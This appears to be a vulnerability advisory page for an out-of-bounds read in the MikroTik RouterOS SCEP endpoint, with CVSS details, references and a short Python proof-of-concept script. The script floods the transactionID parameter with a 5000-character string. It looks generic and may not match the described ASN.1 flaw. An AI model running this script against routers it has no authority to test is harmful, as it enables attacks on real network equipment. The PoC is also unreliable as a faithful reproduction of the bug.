CVE-2026-7668

Description

A vulnerability was identified in MikroTik RouterOS 6.49.8. This vulnerability affects the function ASN1_STRING_data in the library nova/lib/www/scep.p of the component SCEP Endpoint. The manipulation of the argument transactionID/messageType leads to out-of-bounds read. The attack may be initiated remotely. The exploit is publicly available and might be used. The vendor was contacted early about this disclosure but did not respond in any way.

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

MikroTik RouterOS 6.49.8

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Target URL (SCEP Endpoint)
target_url = "http://<target-ip>:8080/scep"

# PoC: Manipulating transactionID to trigger Out-of-Bounds Read
# Sending an overly long transactionID to bypass buffer checks
payload_data = {
    "operation": "GetCACert",
    "messageType": "PKIMessage",
    "transactionID": "A" * 5000  # Excessive length to trigger OOB read
}

try:
    print("[*] Sending PoC request to target...")
    response = requests.get(target_url, params=payload_data, timeout=10)
    
    # Check if target responded or crashed
    if response.status_code == 200:
        print("[+] Request sent. Check response for memory leaks or errors.")
        print("Response snippet:", response.text[:200])
    else:
        print(f"[-] Server returned status code: {response.status_code}")
        
except requests.exceptions.RequestException as e:
    print(f"[!] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-7668
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-7668
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-7668/
[4] VulDB https://vuldb.com/cve/CVE-2026-7668
[5] https://github.com/ezio315/cve/issues/4
[6] https://vuldb.com/submit/798623
[7] https://vuldb.com/vuln/360804
[8] https://vuldb.com/vuln/360804/cti

Raw JSON Data

JSON

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